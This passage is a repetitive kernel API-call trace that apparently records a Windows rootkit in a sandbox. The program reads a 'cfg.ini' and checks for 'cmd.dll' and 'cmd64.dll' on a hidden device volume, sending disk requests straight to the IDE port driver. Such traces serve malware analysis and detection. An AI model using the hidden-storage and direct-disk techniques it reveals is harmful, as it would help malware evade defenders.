[0127.926] KeEnterCriticalRegion () [0127.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.928] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.928] IdePortDispatch () returned 0x103 [0127.928] KeWaitForMutexObject () returned 0x0 [0127.928] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.928] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.928] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.928] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.929] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.929] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc010 [0127.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.929] KeLeaveCriticalRegion () [0127.929] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.929] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.929] KeEnterCriticalRegion () [0127.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.929] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.929] KeLeaveCriticalRegion () [0127.929] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.929] KeEnterCriticalRegion () [0127.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.929] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.929] IdePortDispatch () returned 0x103 [0127.929] KeWaitForMutexObject () returned 0x0 [0127.929] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.929] KeLeaveCriticalRegion () [0127.929] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.930] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.930] KeEnterCriticalRegion () [0127.930] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.930] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c78000 [0127.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.930] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.930] IdePortDispatch () returned 0x103 [0127.930] KeWaitForMutexObject () returned 0x0 [0127.930] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.930] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.930] IdePortDispatch () returned 0x103 [0127.930] KeWaitForMutexObject () returned 0x0 [0127.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.931] KeLeaveCriticalRegion () [0127.931] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.931] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.931] KeEnterCriticalRegion () [0127.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.931] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.931] KeLeaveCriticalRegion () [0127.931] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.931] KeEnterCriticalRegion () [0127.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.931] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0127.932] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd930, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.932] KeLeaveCriticalRegion () [0127.932] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.932] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.932] KeEnterCriticalRegion () [0127.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.932] ExFreePoolWithTag (P=0xfffffa8003bfc010, Tag=0x0) [0127.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.932] KeLeaveCriticalRegion () [0127.932] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.932] ReleaseMutex (hMutex=0xf0) returned 1 [0127.932] Sleep (dwMilliseconds=0x124f80) [0127.950] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.950] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.950] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.950] KeEnterCriticalRegion () [0127.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.950] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.950] IdePortDispatch () returned 0x103 [0127.951] KeWaitForMutexObject () returned 0x0 [0127.951] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.951] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.951] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.951] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.951] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.951] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfaa80 [0127.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.951] KeLeaveCriticalRegion () [0127.951] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.951] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.951] KeEnterCriticalRegion () [0127.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.951] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.951] KeLeaveCriticalRegion () [0127.951] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.951] KeEnterCriticalRegion () [0127.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.951] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.951] IdePortDispatch () returned 0x103 [0127.952] KeWaitForMutexObject () returned 0x0 [0127.952] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.952] KeLeaveCriticalRegion () [0127.952] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.952] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.952] KeEnterCriticalRegion () [0127.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.952] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7d000 [0127.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.952] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.952] IdePortDispatch () returned 0x103 [0127.952] KeWaitForMutexObject () returned 0x0 [0127.952] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.952] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.952] IdePortDispatch () returned 0x103 [0127.953] KeWaitForMutexObject () returned 0x0 [0127.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.953] KeLeaveCriticalRegion () [0127.953] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.953] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.953] KeEnterCriticalRegion () [0127.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.953] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.953] KeLeaveCriticalRegion () [0127.954] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.954] KeEnterCriticalRegion () [0127.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.954] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0127.954] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd930, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.954] KeLeaveCriticalRegion () [0127.954] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.954] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.954] KeEnterCriticalRegion () [0127.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.954] ExFreePoolWithTag (P=0xfffffa8003bfaa80, Tag=0x0) [0127.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.954] KeLeaveCriticalRegion () [0127.954] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.954] ReleaseMutex (hMutex=0xf0) returned 1 [0127.954] Sleep (dwMilliseconds=0x124f80) [0127.973] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.973] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.973] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.973] KeEnterCriticalRegion () [0127.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.973] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.973] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.973] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.973] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.973] IdePortDispatch () returned 0x103 [0127.973] KeWaitForMutexObject () returned 0x0 [0127.973] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.973] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.973] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.973] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.973] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.973] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac9ab0 [0127.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.973] KeLeaveCriticalRegion () [0127.973] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.973] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.974] KeEnterCriticalRegion () [0127.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.974] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.974] KeLeaveCriticalRegion () [0127.974] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.974] KeEnterCriticalRegion () [0127.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.974] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.974] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.974] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.974] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.974] IdePortDispatch () returned 0x103 [0127.974] KeWaitForMutexObject () returned 0x0 [0127.974] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.974] KeLeaveCriticalRegion () [0127.974] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.974] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.974] KeEnterCriticalRegion () [0127.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.974] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c82000 [0127.974] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.974] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.974] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.975] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.975] IdePortDispatch () returned 0x103 [0127.975] KeWaitForMutexObject () returned 0x0 [0127.975] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.975] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.975] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.975] IdePortDispatch () returned 0x103 [0127.975] KeWaitForMutexObject () returned 0x0 [0127.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.975] KeLeaveCriticalRegion () [0127.975] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.976] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.976] KeEnterCriticalRegion () [0127.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.976] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.976] KeLeaveCriticalRegion () [0127.976] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.976] KeEnterCriticalRegion () [0127.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.976] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0127.976] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd6d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.976] KeLeaveCriticalRegion () [0127.976] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.976] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.976] KeEnterCriticalRegion () [0127.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.976] ExFreePoolWithTag (P=0xfffffa8003ac9ab0, Tag=0x0) [0127.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.976] KeLeaveCriticalRegion () [0127.976] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.977] ReleaseMutex (hMutex=0xf0) returned 1 [0127.977] Sleep (dwMilliseconds=0x124f80) [0127.985] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.990] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.990] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.990] KeEnterCriticalRegion () [0127.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.990] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.990] IdePortDispatch () returned 0x103 [0127.991] KeWaitForMutexObject () returned 0x0 [0127.991] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.991] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.991] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.991] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.991] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.991] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc010 [0127.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.991] KeLeaveCriticalRegion () [0127.991] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.991] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.991] KeEnterCriticalRegion () [0127.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.991] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.991] KeLeaveCriticalRegion () [0127.991] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.991] KeEnterCriticalRegion () [0127.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.991] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.991] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.991] MmProbeAndLockPages (in: 